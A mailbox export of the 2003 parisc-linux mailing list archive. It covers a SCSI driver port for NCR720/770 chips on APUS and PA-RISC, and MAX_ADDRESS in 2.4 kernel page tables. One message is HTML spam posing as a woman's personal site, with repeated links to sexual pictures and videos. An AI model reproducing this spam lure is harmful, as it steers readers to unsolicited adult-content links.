Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from postfix.fh-schmalkalden.de (postfix.fh-schmalkalden.de [194.94.30.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4660C487E
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 15:27:07 -0600 (MDT)
Original-Received: from smtp.fh-schmalkalden.de (viruswall [194.94.30.51])
	by postfix.fh-schmalkalden.de (Postfix) with ESMTP
	id 31EDA58002; Mon, 29 Sep 2003 23:26:53 +0200 (CEST)
Original-Received: from ipgraf11.informatik.fh-schmalkalden.de (ipgraf11.informatik.fh-schmalkalden.de [212.201.64.134])
	by smtp.fh-schmalkalden.de (Postfix) with ESMTP
	id CE54E4130D; Mon, 29 Sep 2003 23:26:57 +0200 (MET DST)
Content-Disposition: inline
In-Reply-To: <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Sep 29, 2003 at 15:33:17 +0200
X-Mailer: Balsa 1.3.6
Original-Lines: 36
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19678

On 2003.09.29 15:33 Matthew Wilcox wrote:
> ... Ah ;-)  So where do I find the APUS tree?  From digging around on
> the web (man, there's a lot of broken links in the APUS faq ...), it
> seems to be its own sourceforge project that hasn't switched to working
> on 2.6 yet, is this correct?
> 
> Now that ncr53c8xx is non-PCI only, it should cause the absolute minimum
> of wailing & gnashing of teeth to convert it to use the non-coherent
> dma device API.  It would benefit PA-RISC too as we have two models
> (735 and 755) that have NCR720 chips and a non-coherent architecture.
> Right now, they use the 53c700 driver, but it'd be better to use the
> ncr53c8xx driver, of course.
> 
> Are any APUS people interested in working on this?

Hello!

I'm the one who getting the 53c770 driver working on APUS. The driver is 
based on the code from the ncr53c8xx driver which I found on a 2.4.16 
kernel (maybe it was an other kernel version, I'm not really sure 
anymore). In newer kernels the ncr53c8xx drivers are replaced by sym53c8xx 
which uses a different and more complicated architecture.
In my opinion, the best is to create a seperate 53c720/770 driver based on 
the 53c770 from APUS or ncr53c8xx. I guess the 53c770 from APUS should 
work (with some changes) on a 720 (or similar), because the 770 was 
designed to replace the 720. But I don't know anything about 735 and 755.
But the APUS driver is a really big "patchwork", has some problems and 
needs a clean-up. And I haven't worked on the driver since a year due to 
lack of time, sorry.

I still have lack of time, but if there are any questions, I will help. It 
will be nice to have a native 720/770 driver... And maybe, if someone 
tries to port this driver to a PA, I have to go for it...


Ciao, Ren


From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Karina Riley" <lbcmwn@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello
Date: Tue, 30 Sep 03 00:51:16 GMT
Lines: 31
Approved: news@gmane.org
Message-ID: <mo$$x$8b2b6613n$67ay6-$vm$8b$i@tnykn>
Reply-To: "Karina Riley" <lbcmwn@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="256.E.DD935E"
X-Trace: ger.gmane.org 1416622829 31791 80.91.229.3 (22 Nov 2014 02:20:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:29 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 18:01:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDE854840
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 18:01:40 -0600 (MDT)
Original-Received: from cs6710182-37.houston.rr.com (cs6710182-37.houston.rr.com [67.10.182.37])
	by cuprel1.hp.com (Postfix) with SMTP id 2398FB9D
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 17:01:39 -0700 (PDT)
Original-Received: from (HELO 66ix0) [235.51.206.170] by cs6710182-37.houston.rr.com with ESMTP id 85626781; Tue, 30 Sep 2003 00:51:16 +0400
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19679

--256.E.DD935E
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body bgcolor=3D"#CC66FF"><div align=3D"center">
  <font face=3D"Arial, Helvetica, sans-serif" size=3D"5">Sophie's <b>Perso=
nal</b> 
  Website</font><br><table width=3D"591" height=3D"92"><tr> 
      <td height=3D"125"><b><font face=3D"Verdana, Arial, Helvetica, sans-=
serif" size=3D"2">Hey!</font></b><font face=3D"Verdana, Arial, Helvetica, =
sans-serif" size=3D"2"> 
        My name's Sophie and I'm just letting you know that I have just la=
unched 
        my site full of heaps of sexy <a href=3D"http://www.freemember.us/=
sp/index.html">pictures and videos</a> of me!! 
        If you want to see a movie of me just <a href=3D"http://www.freeme=
mber.us/sp/index.html">click here!</a><br>
        <br>
        I want to make it big as a model. I hope you think I have what it =
takes 
        and maybe you'll be seeing a lot more of me very soon! I really ho=
pe you 
        enjoy the <a href=3D"http://www.freemember.us/sp/index.html">video=
s!</a></font></td>
    </tr></table><br><font face=3D"Arial, Helvetica, sans-serif" size=3D"5=
"><a href=3D"http://www.freemember.us/sp/index.html">Click here to 
  see Sophie in action now!</a></font></div></body>

--256.E.DD935E--



From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 03:21:32 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622830 31794 80.91.229.3 (22 Nov 2014 02:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:30 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Rene Brothuhn <rene.br@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 20:21:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0813484B
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 20:21:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A4A8r-0000en-4q; Tue, 30 Sep 2003 03:21:33 +0100
Content-Disposition: inline
In-Reply-To: <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19680

On Mon, Sep 29, 2003 at 11:25:01PM +0200, Rene Brothuhn wrote:
> I'm the one who getting the 53c770 driver working on APUS. The driver is 

Good to hear from you.  Let me just clear up a couple of
misunderstandings...

> based on the code from the ncr53c8xx driver which I found on a 2.4.16 
> kernel (maybe it was an other kernel version, I'm not really sure 
> anymore). In newer kernels the ncr53c8xx drivers are replaced by sym53c8xx 
> which uses a different and more complicated architecture.

The sym53c8xx driver doesn't support all the chips that ncr53c8xx
supported (mostly earlier chips like 810).  Now there's the sym53c8xx_2
driver that supports all the 8xx chips.  In 2.6, we've now eliminated all
PCI stuff from ncr53c8xx (and it should probably be renamed to ncr53c7xx,
but I actually have a slightly different plan for renaming it that needs
other work to happen first).

> In my opinion, the best is to create a seperate 53c720/770 driver based on 
> the 53c770 from APUS or ncr53c8xx. I guess the 53c770 from APUS should 
> work (with some changes) on a 720 (or similar), because the 770 was 
> designed to replace the 720. But I don't know anything about 735 and 755.

The HP 735/755 workstations have an NCR720 chip as part of their `core
IO'.  It appears as a parisc_device.  They have a PCX-T CPU which has
no way to allocate coherent memory.

> But the APUS driver is a really big "patchwork", has some problems and 
> needs a clean-up. And I haven't worked on the driver since a year due to 
> lack of time, sorry.
> 
> I still have lack of time, but if there are any questions, I will help. It 
> will be nice to have a native 720/770 driver... And maybe, if someone 
> tries to port this driver to a PA, I have to go for it...

OK.  I think the right path forward here is:

 - I port the ncr53c8xx to use the non-coherent DMA interfaces.
 - Someone converts the zorro device to embed the struct device.
 - Someone implements the non-coherent DMA interfaces for PowerPC.
 - Someone adds a zorro720 driver (see NCR_Q720 and zalon for inspiration)
   that's simply a glue layer from zorro to ncr720.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MAX_ADDRESS.
Date: Tue, 30 Sep 2003 11:03:28 +0530
Lines: 13
Approved: news@gmane.org
Message-ID: <3F7915A7.1F54379@india.hp.com>
Reply-To: knaresh@india.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622830 31799 80.91.229.3 (22 Nov 2014 02:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 23:33:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BC424845
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Sep 2003 23:33:58 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel7.hp.com (Postfix) with ESMTP id EF16C1C00093
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Sep 2003 01:33:54 -0400 (EDT)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with ESMTP id LAA20300
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Sep 2003 11:12:49 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19681

Hi,
This question is relevant to the 2.4 kernel. Is MAX_ADDRESS really the
highest virtual address mapped by the kernel? I can see this comment in
'paging_init()' in the section for DISCONTIGMEM. However,
pagetable_init() doesnt make a check before it calls 'map_pages( )' for
all the ranges of memory. So we may DISCONTIGMEM turned off but  it may
so happen that we have a 'pmem_ranges[]' entry that is greater than
MAX_ADDRESS which may find its way into the kernel page tables.
Regards,
Naresh.




From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 10:21:16 +0200 (MEST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0309301019390.7902-100000@vervain.sonytel.be>
References: <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622830 31803 80.91.229.3 (22 Nov 2014 02:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:30 +0000 (UTC)
Cc: Rene Brothuhn <rene.br@web.de>,
	Roman Zippel <zippel@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC on APUS development <linux-apus-devel@lists.sourceforge.net>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 02:21:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from witte.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id D78B2484B
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 02:21:28 -0600 (MDT)
Original-Received: from vervain.sonytel.be (localhost [127.0.0.1])
	by witte.sonytel.be (8.12.10/8.12.10) with ESMTP id h8U8LGlV017590;
	Tue, 30 Sep 2003 10:21:16 +0200 (MEST)
In-Reply-To: <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19682

On Tue, 30 Sep 2003, Matthew Wilcox wrote:
>  - Someone converts the zorro device to embed the struct device.

I'm working on this. I have code that works on UML using a fake list of Zorro
devices, but so far I haven't modified any Zorro driver code.

BTW, A4000T SCSI is builtin, not Zorro, so we need a platform device for that.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MAX_ADDRESS.
Date: Tue, 30 Sep 2003 13:06:36 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20030930120636.GV24824@parcelfarce.linux.theplanet.co.uk>
References: <3F7915A7.1F54379@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622831 31805 80.91.229.3 (22 Nov 2014 02:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Naresh <knaresh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 06:06:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18F7D4840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Sep 2003 06:06:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A4JH2-0002jk-Nn; Tue, 30 Sep 2003 13:06:36 +0100
Content-Disposition: inline
In-Reply-To: <3F7915A7.1F54379@india.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19683

On Tue, Sep 30, 2003 at 11:03:28AM +0530, Naresh wrote:
> This question is relevant to the 2.4 kernel. Is MAX_ADDRESS really the
> highest virtual address mapped by the kernel? I can see this comment in
> 'paging_init()' in the section for DISCONTIGMEM. However,
> pagetable_init() doesnt make a check before it calls 'map_pages( )' for
> all the ranges of memory. So we may DISCONTIGMEM turned off but  it may
> so happen that we have a 'pmem_ranges[]' entry that is greater than
> MAX_ADDRESS which may find its way into the kernel page tables.

Ignore the DISCONTIGMEM code.  It's completely broken (and we offer no
way to turn CONFIG_DISCONTIGMEM on).

I'm not sure what half of this code is for; you'd need to ask John Marvin
who wrote it.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MAX_ADDRESS.
Date: Tue, 30 Sep 2003 17:54:30 +0530
Lines: 36
Approved: news@gmane.org
Message-ID: <3F7975FE.58C276D9@india.hp.com>
References: <3F7915A7.1F54379@india.hp.com> <20030930120636.GV24824@parcelfarce.linux.theplanet.co.uk>
Reply-To: knaresh@india.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622831 31808 80.91.229.3 (22 Nov 2014 02:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 06:25:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A0F34840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Sep 2003 06:25:01 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 3F7101C011E4; Tue, 30 Sep 2003 08:24:58 -0400 (EDT)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with ESMTP id SAA20889;
	Tue, 30 Sep 2003 18:03:53 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19684

MAX_ADDRESS has nothing to do with DISCONTIGMEM. Its definition is generic(
pgtable.h), although it is not used anywhere. I just happened to see the comment in
the DISCONTIGMEM code. Even if DISCONTIGMEM is turned off, there is no check for
MAX_ADDRESS before the call to 'map_pages()' in 'pagetable_init( )', which is why I
would like to know if MAX_ADDRESS can be ignored.

Regards,
Naresh.

Matthew Wilcox wrote:

> On Tue, Sep 30, 2003 at 11:03:28AM +0530, Naresh wrote:
> > This question is relevant to the 2.4 kernel. Is MAX_ADDRESS really the
> > highest virtual address mapped by the kernel? I can see this comment in
> > 'paging_init()' in the section for DISCONTIGMEM. However,
> > pagetable_init() doesnt make a check before it calls 'map_pages( )' for
> > all the ranges of memory. So we may DISCONTIGMEM turned off but  it may
> > so happen that we have a 'pmem_ranges[]' entry that is greater than
> > MAX_ADDRESS which may find its way into the kernel page tables.
>
> Ignore the DISCONTIGMEM code.  It's completely broken (and we offer no
> way to turn CONFIG_DISCONTIGMEM on).
>
> I'm not sure what half of this code is for; you'd need to ask John Marvin
> who wrote it.
>
> --
> "It's not Hollywood.  War is real, war is primarily not about defeat or
> victory, it is about death.  I've seen thousands and thousands of dead bodies.
> Do you think I want to have an academic debate on this subject?" -- Robert Fisk
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MAX_ADDRESS.
Date: 30 Sep 2003 08:17:22 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <1064927843.2065.3.camel@mulgrave>
References: <3F7915A7.1F54379@india.hp.com>
	<20030930120636.GV24824@parcelfarce.linux.theplanet.co.uk> 
	<3F7975FE.58C276D9@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622831 31811 80.91.229.3 (22 Nov 2014 02:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:31 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: knaresh@india.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 07:30:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 464CC4845
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Sep 2003 07:30:03 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8UDHNq08517;
	Tue, 30 Sep 2003 09:17:23 -0400
In-Reply-To: <3F7975FE.58C276D9@india.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19685

On Tue, 2003-09-30 at 07:24, Naresh wrote:
> MAX_ADDRESS has nothing to do with DISCONTIGMEM. Its definition is generic(
> pgtable.h), although it is not used anywhere. I just happened to see the comment in
> the DISCONTIGMEM code. Even if DISCONTIGMEM is turned off, there is no check for
> MAX_ADDRESS before the call to 'map_pages()' in 'pagetable_init( )', which is why I
> would like to know if MAX_ADDRESS can be ignored.

No.  It does represent the highest virtual address possible.

Linux has 3 levels of page tables, so on a 64 bit kernel (8 bytes per
pte and 8 bytes per pte page pointer etc), we can address a maximum of
512GB with 4k pages.

James




From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
